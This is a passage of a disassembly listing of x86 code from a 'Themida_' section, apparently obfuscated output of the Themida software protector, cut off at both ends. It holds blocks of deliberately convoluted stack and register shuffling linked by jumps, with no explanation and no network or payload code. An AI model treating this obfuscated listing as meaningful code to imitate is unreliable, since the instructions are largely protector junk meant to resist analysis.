Themida_:0056A9FCj pop esi sub bx, 281Ah add dx, bx pop ebx jmp loc_56E7E1 ; --------------------------------------------------------------------------- loc_56924A: ; CODE XREF: Themida_:00562FA5j add edx, esi add edx, 117000D0h pop esi xchg edx, [esp] mov esp, [esp] inc word ptr [esp] pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_569263: ; CODE XREF: Themida_:005712D1j not ebx xor [esp], ebx xor ebx, [esp] xor [esp], ebx jmp loc_566062 ; --------------------------------------------------------------------------- loc_569273: ; CODE XREF: Themida_:005686B2j add ebx, 2 xor ebx, [esp] xor [esp], ebx jmp loc_567500 ; --------------------------------------------------------------------------- loc_569281: ; CODE XREF: Themida_:0056CE75j pop ebx sub ebx, ecx jmp loc_568535 ; --------------------------------------------------------------------------- loc_569289: ; CODE XREF: Themida_:0055DA5Fj xor ch, 5Bh sub al, 1Eh push ebx push edx jmp loc_570A0B ; --------------------------------------------------------------------------- loc_569295: ; CODE XREF: Themida_:00572238j pop edi push ebx mov ebx, 59D91C4Fh add eax, ebx pop ebx shr eax, 3 sub eax, 0FCEAF276h sub ebp, eax jmp loc_561775 ; --------------------------------------------------------------------------- loc_5692AE: ; CODE XREF: Themida_:0056E613j sub ebx, 0ED54CD18h add ebp, ebx pop ebx pop ecx or eax, ebp pop ebp not eax sub eax, 0F22E01FCh add ebx, 72E34957h jmp loc_56EB24 ; --------------------------------------------------------------------------- loc_5692CD: ; CODE XREF: Themida_:00566365j pop ebx pop edi sub edx, 1B2E774Fh sub edx, ebx add edx, 1B2E774Fh push dword ptr [esp] pop ebx add esp, 4 add ebp, edx mov edx, [esp] push edx mov edx, esp add edx, 4 push eax mov eax, 4 add edx, eax jmp loc_560EAB ; --------------------------------------------------------------------------- loc_5692FF: ; CODE XREF: Themida_:0056D0D7j mov ebx, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp push ecx mov ecx, 450310ABh xor ecx, 450310AFh add ebx, ecx mov ecx, [esp] add esp, 4 jmp loc_56C8D7 ; --------------------------------------------------------------------------- loc_569326: ; CODE XREF: Themida_:0056B49Dj add ebp, 3E486F79h sub ebp, 9EBE2571h sub esp, 4 mov [esp], ecx mov ecx, 1A551945h jmp loc_5670A6 ; --------------------------------------------------------------------------- loc_569345: ; CODE XREF: Themida_:00562364j mov eax, [esp] push 52C1h mov [esp], edx mov edx, esp jmp loc_56E76A ; --------------------------------------------------------------------------- loc_569357: ; CODE XREF: Themida_:0055EEE2j xor eax, 71813B2Eh sub esp, 4 mov [esp], ecx jmp loc_55D329 ; --------------------------------------------------------------------------- loc_56936A: ; CODE XREF: Themida_:0056E95Aj sub esi, 0D2BDA977h mov eax, esi jmp loc_565043 ; --------------------------------------------------------------------------- loc_569377: ; CODE XREF: Themida_:005641DFj mov edx, [esp] push edi jmp loc_567539 ; --------------------------------------------------------------------------- loc_569380: ; CODE XREF: Themida_:005722E2j pop ecx add eax, 1 sub eax, 84064EFFh sub ebx, eax pop eax add ecx, ebx mov ebx, [esp] add esp, 4 xchg ecx, [esp] mov esp, [esp] push edx jmp loc_570FB6 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_567B69 ; --------------------------------------------------------------------------- loc_5693B1: ; CODE XREF: Themida_:00568389j xor dword ptr [esp], 231C5702h pop esi xor esi, 231C5702h push dword ptr [esp] pop ebx add esp, 4 sub esi, 1 push eax mov eax, 2AA7349Fh and esi, eax pop eax sub esi, 1 dec esi sub esi, 22820E80h and eax, esi push dword ptr [esp] jmp loc_5704D2 ; --------------------------------------------------------------------------- loc_5693EC: ; CODE XREF: Themida_:005650E9j mov [esp], edx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_55EEFE ; --------------------------------------------------------------------------- loc_569407: ; CODE XREF: Themida_:005647C5j pop ecx mov edx, [esp] add esp, 4 push dword ptr [esp] pop ebx add esp, 4 push esi push 7974h mov [esp], edi jmp loc_55E7B0 ; --------------------------------------------------------------------------- loc_569426: ; CODE XREF: Themida_:00560086j mov ebx, [esp] add esp, 4 add ebx, 50EC50ACh jmp loc_56C60E ; --------------------------------------------------------------------------- loc_569437: ; CODE XREF: Themida_:0056204Fj xchg ebp, [esp] jmp loc_5672F1 ; --------------------------------------------------------------------------- loc_56943F: ; CODE XREF: Themida_:005674ECj mov esi, 26465B96h sub esi, 0CC30090Bh add ecx, 4AF859D0h sub ecx, esi push ebp jmp loc_571299 ; --------------------------------------------------------------------------- loc_569458: ; CODE XREF: Themida_:00561F7Cj and ebx, 326746B3h push 4204h mov [esp], esi jmp loc_566316 ; --------------------------------------------------------------------------- loc_56946B: ; CODE XREF: Themida_:005678BAj add esp, 4 jmp loc_56825E ; --------------------------------------------------------------------------- loc_569476: ; CODE XREF: Themida_:0057148Ej and eax, edx mov edx, [esp] push eax push esp pop eax jmp loc_569650 ; --------------------------------------------------------------------------- loc_569483: ; CODE XREF: Themida_:00568319j push 1272h mov [esp], ecx jmp loc_56C48D ; --------------------------------------------------------------------------- loc_569490: ; CODE XREF: Themida_:0056799Ej mov ecx, 72DA10C3h mov ebx, ecx mov ecx, [esp] push edx jmp loc_56FAB2 ; --------------------------------------------------------------------------- loc_5694A0: ; CODE XREF: Themida_:0056105Bj push edx push 45825007h mov edx, [esp] add esp, 4 not edx xor edx, 8A77B94Dh mov ebx, edx pop edx push ecx mov ecx, 4B112E77h and ebx, ecx mov ecx, [esp] jmp loc_55F2CE ; --------------------------------------------------------------------------- loc_5694C7: ; CODE XREF: Themida_:0056390Bj push edx mov edx, 1D265EAh shr edx, 3 or edx, 3FCF003Ah xor edx, 572E2521h not edx sub edx, 0C12FA551h sub esi, edx pop edx push ebx push esi mov esi, 0 jmp loc_564242 ; --------------------------------------------------------------------------- loc_5694F3: ; CODE XREF: Themida_:00563E25j add [esp+4], eax pop eax mov ebx, [esp] push edi mov edi, esp jmp loc_562EF9 ; --------------------------------------------------------------------------- loc_569503: ; CODE XREF: Themida_:0055F219j mov edi, 14EF1070h add ebx, edi push dword ptr [esp] pop edi push eax mov eax, esp jmp loc_565F98 ; --------------------------------------------------------------------------- loc_569516: ; CODE XREF: Themida_:00569F84j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], eax mov ah, 0D9h push 3C46h mov [esp], ecx push edx push ecx mov cl, ah push ebx mov bl, cl mov dh, bl jmp loc_565E72 ; --------------------------------------------------------------------------- loc_569543: ; CODE XREF: Themida_:0055DEA4j add esp, 4 push esi mov esi, 614374E0h neg esi inc esi sub esi, 0FFFFFFFFh add esi, 2FEE090Dh shl esi, 1 jmp loc_56FF9F ; --------------------------------------------------------------------------- loc_569562: ; CODE XREF: Themida_:00561477j mov [esp], ebx mov ebx, 41F24904h xor ebx, 7670B55h dec ebx xor ebx, 43A0137Eh add ebx, 2CD368D9h jmp loc_5681E9 ; --------------------------------------------------------------------------- loc_569582: ; CODE XREF: Themida_:0056E01Ej mov ecx, 0D92453Bh push edi jmp loc_56BF8D ; --------------------------------------------------------------------------- loc_56958D: ; CODE XREF: Themida_:00567167j pop edx pop ecx mov esi, [esp] add esp, 4 sub ecx, 6CC31667h add ecx, ebp push edi mov edi, 6CC31667h jmp loc_57159A ; --------------------------------------------------------------------------- loc_5695AB: ; CODE XREF: Themida_:00562586j xchg edx, [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_566FB3 ; --------------------------------------------------------------------------- loc_5695BB: ; CODE XREF: Themida_:0056826Bj add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push esi mov esi, 1091AB4h jmp loc_5642C8 ; --------------------------------------------------------------------------- loc_5695DA: ; CODE XREF: Themida_:0056E490j and ebp, 50317E65h push eax push ebp mov ebp, 9EF5B2Dh jmp loc_56E911 ; --------------------------------------------------------------------------- loc_5695EC: ; CODE XREF: Themida_:0055EC10j xor edi, ebx jmp loc_55ECAA ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_568B13 ; --------------------------------------------------------------------------- loc_5695FC: ; CODE XREF: Themida_:0056FE0Ej sub esp, 4 mov [esp], ecx push ebp jmp loc_56FEDB ; --------------------------------------------------------------------------- loc_569608: ; CODE XREF: Themida_:0056A672j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_565110 ; --------------------------------------------------------------------------- loc_56961A: ; CODE XREF: Themida_:0056E765j cmp cl, al pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_569622: ; CODE XREF: Themida_:0055E6C7j sub esi, 2A43684h add eax, esi pop esi xchg eax, [esp] jmp loc_5677EA ; --------------------------------------------------------------------------- loc_569633: ; CODE XREF: Themida_:005626F0j sub bl, 2Dh add bl, dh jmp loc_570DB0 ; --------------------------------------------------------------------------- loc_56963D: ; CODE XREF: Themida_:0056CB11j xchg eax, [esp] pop esp jmp loc_567E16 ; --------------------------------------------------------------------------- loc_569646: ; CODE XREF: Themida_:0055F369j mov ecx, 0C0F95494h jmp loc_567204 ; --------------------------------------------------------------------------- loc_569650: ; CODE XREF: Themida_:0056947Ej sub esp, 4 mov [esp], ebp jmp loc_568F6B ; --------------------------------------------------------------------------- loc_56965E: ; CODE XREF: Themida_:0056AF4Aj pop ebx add esi, 655422A6h push ebx mov ebx, 0DBEA81BDh sub esi, ebx pop ebx sub ebp, esi jmp loc_56DDB6 ; --------------------------------------------------------------------------- loc_569675: ; CODE XREF: Themida_:0055D349j add esi, 73159F8h xor esi, 1CD88419h sub [esp+4], esi pop esi pop ecx sub esp, 4 mov [esp], ebp jmp loc_56C4B9 ; --------------------------------------------------------------------------- loc_569695: ; CODE XREF: Themida_:0056E71Bj mov ah, 0CEh shl ah, 2 push bx mov bh, 0ADh and ah, bh mov bx, [esp] jmp loc_57119B ; --------------------------------------------------------------------------- loc_5696A9: ; CODE XREF: Themida_:0055FCC5j xchg eax, edi push edi not dword ptr [esp] pop edi xchg eax, edi not eax push edx push eax push 4A0A0387h pop eax add eax, 717F761Ah jmp loc_56C6C1 ; --------------------------------------------------------------------------- loc_5696C4: ; CODE XREF: Themida_:0055EDF4j mov edx, [esp] add esp, 4 add esp, 4 jmp loc_56A956 ; --------------------------------------------------------------------------- loc_5696D2: ; CODE XREF: Themida_:00570819j push eax mov eax, 406F18D8h xor eax, 8FDC922Bh sub ebx, eax pop eax sub edx, 5D883899h add edx, ebx add edx, 5D883899h pop ebx xchg edx, [esp] pop esp jmp loc_56F7C5 ; --------------------------------------------------------------------------- loc_5696F8: ; CODE XREF: Themida_:00571CADj shl ebp, 6 sub ebp, 31C30AF1h jmp loc_567B5C ; --------------------------------------------------------------------------- loc_569706: ; CODE XREF: Themida_:0056DBE8j jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56970B: ; CODE XREF: Themida_:0055F0FFj mov esi, ebp mov eax, esi pop esi jmp loc_561B48 ; --------------------------------------------------------------------------- loc_569715: ; CODE XREF: Themida_:00560725j add ecx, 30266CC1h sub edi, ecx mov ecx, [esp] add esp, 4 push 4AD7h mov [esp], edx jmp loc_5706B6 ; --------------------------------------------------------------------------- loc_569733: ; CODE XREF: Themida_:0055FA67j jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_569738: ; CODE XREF: Themida_:0056109Fj jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56973D: ; CODE XREF: Themida_:00566C5Ej inc edi jmp loc_56B512 ; --------------------------------------------------------------------------- loc_569743: ; CODE XREF: Themida_:00570D10j shl eax, 2 sub eax, 7046147Eh add eax, 67A8EF36h sub ebx, eax jmp loc_56FE13 ; --------------------------------------------------------------------------- loc_569757: ; CODE XREF: Themida_:0056742Dj shr ebp, 2 jmp loc_564DED ; --------------------------------------------------------------------------- loc_56975F: ; CODE XREF: Themida_:005663DBj sub ebx, 0B134AC22h sub eax, ebx pop ebx sub ebx, 41D616D3h add ebx, 4F2815F0h sub ebx, eax push ecx jmp loc_572699 ; --------------------------------------------------------------------------- loc_56977C: ; CODE XREF: Themida_:00569079j pop ebx sub esi, 5B4216E0h add esi, 4952E6A2h sub eax, 70833306h add eax, esi push edi mov edi, 4E883495h and edi, 762E1E8Bh inc edi shr edi, 7 inc edi xor edi, 0F545E5Dh jmp loc_57043B ; --------------------------------------------------------------------------- loc_5697AC: ; CODE XREF: Themida_:0056C249j xor esi, ebx pop ebx mov edx, esi pop esi push edx push 3CF13C85h jmp loc_5638D9 ; --------------------------------------------------------------------------- loc_5697BD: ; CODE XREF: Themida_:0055DC39j mov ebp, 40ED6CF4h jmp loc_570E52 ; --------------------------------------------------------------------------- loc_5697C7: ; CODE XREF: Themida_:0056384Cj or ebp, edi pop edi jmp loc_5683D5 ; --------------------------------------------------------------------------- loc_5697CF: ; CODE XREF: Themida_:005709DEj pop ebp and esi, ebx jmp loc_5641A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB3D loc_5697D7: ; CODE XREF: sub_59DB3D-31B46j mov bh, ch pop ecx xor al, bh mov bx, word ptr [esp+28h+var_28] sub esp, 4 mov [esp+2Ch+var_2C], eax push esp jmp loc_564C9E ; END OF FUNCTION CHUNK FOR sub_59DB3D ; --------------------------------------------------------------------------- loc_5697EF: ; CODE XREF: Themida_:005715EDj push dword ptr [esp] pop esi jmp loc_56B106 ; --------------------------------------------------------------------------- loc_5697F8: ; CODE XREF: Themida_:0056A487j add esp, 4 push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 push eax push edi push ebx push 7823255h jmp loc_56CB16 ; --------------------------------------------------------------------------- loc_569817: ; CODE XREF: Themida_:0056095Ej movzx eax, al pop small word ptr [edi+eax*4] jmp loc_568994 ; --------------------------------------------------------------------------- loc_569823: ; CODE XREF: Themida_:00563024j push eax pop ebp push dword ptr [esp] pop eax add esp, 4 xor ebx, ebp mov ebp, [esp] add esp, 4 push esi mov esi, 13F94CADh add ebx, 2492569Dh jmp loc_568BC1 ; --------------------------------------------------------------------------- loc_569845: ; CODE XREF: Themida_:0056818Ej xchg edx, [esp] mov esp, [esp] mov [esp], eax jmp loc_56CF9F ; --------------------------------------------------------------------------- loc_569853: ; CODE XREF: Themida_:00565D0Fj sub ebx, edx pop edx add ebx, 100E4ED5h jmp loc_56D803 ; --------------------------------------------------------------------------- loc_569861: ; CODE XREF: Themida_:005709EEj mov ebx, [esp] add esp, 4 sub edx, 41A61E6Fh add ebp, edx jmp loc_56F274 ; --------------------------------------------------------------------------- loc_569874: ; CODE XREF: Themida_:0056863Fj mov ebx, [esp] jmp loc_56F504 ; --------------------------------------------------------------------------- loc_56987C: ; CODE XREF: Themida_:0056A2BBj pop esp jmp loc_55D898 ; --------------------------------------------------------------------------- loc_569882: ; CODE XREF: Themida_:0056D99Dj sub dx, 110Ah add dx, 6283h sub dx, di sub dx, 6283h push ebx push esi mov si, 5180h jmp loc_572430 ; --------------------------------------------------------------------------- loc_56989F: ; CODE XREF: Themida_:0055DC1Aj sub ebx, 57DF463Eh pop eax jmp loc_569C1C ; --------------------------------------------------------------------------- loc_5698AB: ; CODE XREF: Themida_:0055E7F6j add edi, 4 jmp loc_5639F6 ; --------------------------------------------------------------------------- loc_5698B6: ; CODE XREF: Themida_:005690EBj mov [esp], eax jmp loc_567ED1 ; --------------------------------------------------------------------------- loc_5698BE: ; CODE XREF: Themida_:0056CE4Fj pop edi shr ecx, 1 jmp loc_566599 ; --------------------------------------------------------------------------- loc_5698C6: ; CODE XREF: Themida_:0055EDB0j sub edi, esi pop esi xchg edi, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop edi jmp loc_561B24 ; --------------------------------------------------------------------------- loc_5698DD: ; CODE XREF: Themida_:0056020Ej push eax jmp loc_55E525 ; --------------------------------------------------------------------------- loc_5698E3: ; CODE XREF: Themida_:00561DB8j sub edi, esi jmp loc_570E1F ; --------------------------------------------------------------------------- loc_5698EA: ; CODE XREF: Themida_:0055FDA6j push ebx mov ebx, 3B046E92h jmp loc_56E366 ; --------------------------------------------------------------------------- loc_5698F5: ; CODE XREF: Themida_:00560AA4j mov edi, esi pop esi sub edi, 7D6C5752h add edi, eax push edx mov edx, 7D6C5752h add edi, edx pop edx push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_56A615 ; --------------------------------------------------------------------------- loc_569915: ; CODE XREF: Themida_:0055D6CDj push 444Ch mov [esp], ebp push 4580h jmp loc_56AC1A ; --------------------------------------------------------------------------- loc_569927: ; CODE XREF: Themida_:00561967j shr bl, 7 dec bl and bl, 1Ah xor bl, 1Ah xor dh, bl jmp loc_56D533 ; --------------------------------------------------------------------------- loc_569939: ; CODE XREF: Themida_:00564587j mov edx, 347B121Dh mov ebp, 2C974F40h xor ebp, edx jmp loc_568009 ; --------------------------------------------------------------------------- loc_56994A: ; CODE XREF: Themida_:00561518j mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 add ebp, 4 sub esp, 4 mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] add ecx, 4 push 1BF7h mov [esp], ebx mov ebx, 4 jmp loc_56DC22 ; --------------------------------------------------------------------------- loc_569992: ; CODE XREF: Themida_:00568F23j mov ecx, 2FF84503h jmp loc_56B086 ; --------------------------------------------------------------------------- loc_56999C: ; CODE XREF: Themida_:0056C17Fj pop eax add al, 29h jmp loc_56C1FA ; --------------------------------------------------------------------------- loc_5699A4: ; CODE XREF: Themida_:0055FD48j pop ebp xor edx, ecx mov ecx, [esp] add esp, 4 jmp loc_567D84 ; --------------------------------------------------------------------------- loc_5699B5: ; CODE XREF: Themida_:00561D83j sub eax, edx pop edx add edi, eax pop eax add edi, 795264E9h sub ebx, edi mov edi, [esp] add esp, 4 xor ebx, 2AED6CF4h mov esi, ebx pop ebx and esi, 58811C28h add esi, 13D63C25h jmp loc_569F89 ; --------------------------------------------------------------------------- loc_5699E3: ; CODE XREF: Themida_:00568DAEj sub dword ptr [esp], 57294716h mov eax, [esp] push 5952h mov [esp], edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_571CC3 ; --------------------------------------------------------------------------- loc_569A0E: ; CODE XREF: Themida_:00565005j pop edx push ecx jmp loc_560CD4 ; --------------------------------------------------------------------------- loc_569A15: ; CODE XREF: Themida_:0056DB6Bj mov edi, 7BD4EBFh add edx, edi mov edi, [esp] jmp loc_56016C ; --------------------------------------------------------------------------- loc_569A24: ; CODE XREF: Themida_:00563711j sub edx, 33384Dh sub esi, edx mov edx, [esp] add esp, 4 neg esi push edi mov edi, 0 add edi, 62E878BEh sub edi, 0AAC1969h sub edi, esi push ebp mov ebp, 0AAC1969h add edi, ebp pop ebp jmp loc_57299B ; --------------------------------------------------------------------------- loc_569A56: ; CODE XREF: Themida_:0056252Bj sub esp, 4 mov [esp], ebx mov ebx, 4 add edx, 7A1C0FEDh sub edx, 712B5F69h jmp loc_5678A5 ; --------------------------------------------------------------------------- loc_569A72: ; CODE XREF: Themida_:0056D172j mov edi, 6A9F12CAh add [esp+8], edi jmp loc_56CD49 ; --------------------------------------------------------------------------- loc_569A80: ; CODE XREF: Themida_:00571DF5j push ecx mov ecx, 572A4C08h dec ecx push ebp mov ebp, esp jmp loc_55EAFE ; --------------------------------------------------------------------------- loc_569A8F: ; CODE XREF: Themida_:00566AADj xchg esi, [esp] pop esp mov [esp], edx push 3AC9h mov [esp], esp add dword ptr [esp], 4 pop edx sub esp, 4 mov [esp], ebp push esi push eax jmp loc_56ED3A ; --------------------------------------------------------------------------- loc_569AB0: ; CODE XREF: Themida_:005631B1j sub esi, 639644A5h add edx, esi pop esi push ebx jmp loc_5617D9 ; --------------------------------------------------------------------------- loc_569ABF: ; CODE XREF: Themida_:00568326j pop edi push edx mov edx, eax jmp loc_56EA25 ; --------------------------------------------------------------------------- lodsb add al, 0B2h sub esp, 4 mov [esp], edx mov dh, 9 push ecx mov ch, 84h sub ch, 0D1h jmp loc_570B85 ; --------------------------------------------------------------------------- loc_569ADE: ; CODE XREF: Themida_:00570AA4j mov [esp], eax push ecx mov ecx, 30A247B7h mov eax, 6F3B17ACh xor eax, ecx pop ecx add edi, eax pop eax add edi, ebp sub edi, 5F99501Bh mov ebp, [esp] jmp loc_56676F ; --------------------------------------------------------------------------- loc_569B02: ; CODE XREF: Themida_:00564277j sub ebp, edx jmp loc_566398 ; --------------------------------------------------------------------------- loc_569B09: ; CODE XREF: Themida_:00565A0Cj pop eax add dl, cl jmp loc_562054 ; --------------------------------------------------------------------------- loc_569B11: ; CODE XREF: Themida_:0056AC8Bj sub edx, 278F7C4Ah mov edi, edx pop edx jmp loc_561C27 ; --------------------------------------------------------------------------- loc_569B1F: ; CODE XREF: Themida_:005635F9j mov [esp], edx mov edx, 4BE02824h neg edx push ecx jmp loc_5607DA ; --------------------------------------------------------------------------- loc_569B2F: ; CODE XREF: Themida_:00563492j pop ebx and eax, esi push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 jmp loc_5605A0 ; --------------------------------------------------------------------------- loc_569B46: ; CODE XREF: Themida_:0055D7C3j push dword ptr [esp] pop eax jmp loc_55ED1F ; --------------------------------------------------------------------------- loc_569B4F: ; CODE XREF: Themida_:00566A6Cj shr dl, 7 shr dl, 7 xor dl, 0Ch or al, dl mov edx, [esp] add esp, 4 add al, 56h add bl, al pop eax add bl, 0BEh add bl, dl sub bl, 0BEh sub bl, 33h mov edx, [esp] add esp, 4 movzx eax, al lea eax, [edi+eax*4] push 2B38h mov [esp], eax jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_569B8C: ; CODE XREF: Themida_:00571C6Aj push esi jmp loc_560261 ; --------------------------------------------------------------------------- loc_569B92: ; CODE XREF: Themida_:00566F7Cj add edi, ecx pop ecx jmp loc_56557F ; --------------------------------------------------------------------------- loc_569B9A: ; CODE XREF: Themida_:00570107j pop esi add esp, 4 add esi, 4 add esi, 2 sub esp, 4 jmp loc_570992 ; --------------------------------------------------------------------------- loc_569BB2: ; CODE XREF: Themida_:0056A1DAj push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_571E5A ; --------------------------------------------------------------------------- loc_569BC6: ; CODE XREF: Themida_:0055E496j pop eax xor ebp, edi mov edi, [esp] sub esp, 4 mov [esp], ebp push esp pop ebp push edi mov edi, 4 jmp loc_56F78C ; --------------------------------------------------------------------------- loc_569BE2: ; CODE XREF: Themida_:00565165j pop eax xor esi, 0F52D8BFDh jmp loc_560AD0 ; --------------------------------------------------------------------------- loc_569BEE: ; CODE XREF: Themida_:0056B47Cj mov edi, [esp] add esp, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_55F3D7 ; --------------------------------------------------------------------------- loc_569C06: ; CODE XREF: Themida_:0055D8BAj mov eax, 7432894h inc eax xor eax, 7432891h add ebx, eax pop eax add ebx, 4 jmp loc_572984 ; --------------------------------------------------------------------------- loc_569C1C: ; CODE XREF: Themida_:005698A6j shr ebx, 6 jmp loc_56D4B8 ; --------------------------------------------------------------------------- loc_569C24: ; CODE XREF: Themida_:0056B069j push 64E4h push 722Dh mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_565ABB ; --------------------------------------------------------------------------- loc_569C3E: ; CODE XREF: Themida_:0055DE5Dj mov ebx, esp sub esp, 4 mov [esp], esi mov esi, 7CEB0A18h shl esi, 6 sub esi, 3AC285FCh add ebx, esi pop esi sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx jmp loc_56E072 ; --------------------------------------------------------------------------- loc_569C68: ; CODE XREF: Themida_:0055E467j push 43B2h mov [esp], esi push ebx push 1A8516EBh pop ebx add ebx, 0E57AE917h push ebx sub dword ptr [esp], 5FBE182Eh jmp loc_567348 ; --------------------------------------------------------------------------- loc_569C8A: ; CODE XREF: Themida_:00564EC8j push esp pop ebp add ebp, 4 push ebx mov ebx, 4 add ebp, 7DBD3F7Ch add ebp, ebx jmp loc_562AB4 ; --------------------------------------------------------------------------- loc_569CA5: ; CODE XREF: Themida_:005624C8j inc eax add eax, 669DA81Ch dec eax and eax, 70626CCCh or eax, 54547B6Ch push edx jmp loc_56FF55 ; --------------------------------------------------------------------------- loc_569CBC: ; CODE XREF: Themida_:0056D8C2j add al, 48h jmp loc_565A55 ; --------------------------------------------------------------------------- lodsd sub eax, 662A4166h sub eax, 6C7D00F4h add eax, ebx add eax, 6C7D00F4h push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_5644A5 ; --------------------------------------------------------------------------- loc_569CE8: ; CODE XREF: Themida_:0055E48Fj mov bl, 43h jmp loc_5727C5 ; --------------------------------------------------------------------------- loc_569CEF: ; CODE XREF: Themida_:005644A0j mov edi, 478A389Ah and edi, 7D511686h shl edi, 1 and edi, 4DCA6486h jmp loc_55EF7D ; --------------------------------------------------------------------------- loc_569D07: ; CODE XREF: Themida_:0056A304j mov ebp, [esp] add esp, 4 pop ebx push edi push dword ptr [esp+4] jmp loc_56DA1E ; --------------------------------------------------------------------------- loc_569D18: ; CODE XREF: Themida_:0055D52Fj mov edx, ebp pop ebp jmp loc_56D225 ; --------------------------------------------------------------------------- loc_569D20: ; CODE XREF: Themida_:00560C32j pop esi xor edx, ecx mov ecx, [esp] add esp, 4 mov esi, edx push dword ptr [esp] pop edx add esp, 4 jmp loc_570CA4 ; --------------------------------------------------------------------------- loc_569D3D: ; CODE XREF: Themida_:00563F81j neg ebp inc ebp jmp loc_564405 ; --------------------------------------------------------------------------- loc_569D45: ; CODE XREF: Themida_:0056621Fj push edi jmp loc_56FD0F ; --------------------------------------------------------------------------- loc_569D4B: ; CODE XREF: Themida_:00565DBEj add esp, 4 jmp loc_571D99 ; --------------------------------------------------------------------------- loc_569D53: ; CODE XREF: Themida_:00561A52j push edx pop esi pop edx sub edi, esi pop esi sub esp, 4 mov [esp], edi jmp loc_564F4A ; --------------------------------------------------------------------------- loc_569D64: ; CODE XREF: Themida_:00570306j push edi mov edi, 66381CCAh jmp loc_570352 ; --------------------------------------------------------------------------- loc_569D6F: ; CODE XREF: Themida_:00566AA5j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx jmp loc_56EBBC ; --------------------------------------------------------------------------- loc_569D82: ; CODE XREF: Themida_:0056DE83j push esi jmp loc_56A76B ; --------------------------------------------------------------------------- loc_569D88: ; CODE XREF: Themida_:0056653Aj push ebx mov ebx, 4 push 158Ch mov [esp], ebp jmp loc_5656C7 ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_55D2ED ; --------------------------------------------------------------------------- dw 8B66h dd 8356240Ch, 37E904ECh db 55h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_569DAF: ; CODE XREF: Themida_:00563D7Dj add edi, 4 xchg edi, [esp] jmp loc_566CF1 ; --------------------------------------------------------------------------- loc_569DBD: ; CODE XREF: Themida_:0056DCE6j pop edx mov eax, [esp] add esp, 4 push ecx mov cl, 80h sub bl, cl pop ecx push edx mov dh, 23h xor dh, 88h push eax mov ah, 30h jmp loc_565B7D ; --------------------------------------------------------------------------- loc_569DDB: ; CODE XREF: Themida_:00567909j push ebp sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 push ebx push edx push 24D25B50h pop edx shl edx, 8 neg edx and edx, 0E4371DCh xor edx, 0C003004h mov ebx, edx jmp loc_5729FE ; --------------------------------------------------------------------------- loc_569E10: ; CODE XREF: Themida_:0055D980j push edx mov edx, 352A7156h shr edx, 3 neg edx add edx, 7CB65B4Ch sub edx, 198E7AC6h and edx, 7D4A7F56h push ebx mov ebx, 2FBC6792h sub ebx, 1FAC540Dh or edx, ebx pop ebx jmp loc_566601 ; --------------------------------------------------------------------------- loc_569E41: ; CODE XREF: Themida_:0056A5FCj push eax mov edx, [esp] add esp, 4 push dword ptr [esp] pop eax jmp loc_5641A8 ; --------------------------------------------------------------------------- loc_569E54: ; CODE XREF: Themida_:005623C8j add ebx, ebp add ebx, 40C5566Ch pop ebp push ebx push dword ptr [esp+4] jmp loc_56A65F ; --------------------------------------------------------------------------- loc_569E67: ; CODE XREF: Themida_:00572753j sub esp, 4 mov [esp], eax push 5E215AAh jmp loc_56E720 ; --------------------------------------------------------------------------- loc_569E7A: ; CODE XREF: Themida_:00568659j jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_569E7F: ; CODE XREF: Themida_:0056D3D0j pop ecx pop eax push 40CCh mov [esp], ebx mov ebx, 49C07BD2h or ebx, 3D797695h push edi push 8206802Dh pop edi jmp loc_564ECD ; --------------------------------------------------------------------------- loc_569EA0: ; CODE XREF: Themida_:005689E6j mov eax, 73B2CC4h not eax not eax shl eax, 7 neg eax xor eax, 74314A87h add eax, 753139F3h sub esi, eax jmp loc_566929 ; --------------------------------------------------------------------------- loc_569EBF: ; CODE XREF: Themida_:0057192Bj add al, bl push 2903h mov [esp], ebx mov bl, 6Eh push ebx not byte ptr [esp] pop ebx not bl inc bl xor bl, 4Ch sub al, bl mov ebx, [esp] jmp loc_568674 ; --------------------------------------------------------------------------- loc_569EE1: ; CODE XREF: Themida_:005707AFj pop edi pop ecx xchg ebp, [esp] mov esp, [esp] and [esp], al pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_569EF2: ; CODE XREF: Themida_:0056E424j mov ebp, esp push edi mov edi, 4 add ebp, edi pop edi sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx sub esp, 4 mov [esp], esp jmp loc_56DE1F ; --------------------------------------------------------------------------- loc_569F15: ; CODE XREF: Themida_:005725C5j inc esi shr esi, 2 jmp loc_55E67F ; --------------------------------------------------------------------------- loc_569F1E: ; CODE XREF: Themida_:005638D4j xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] pop dword 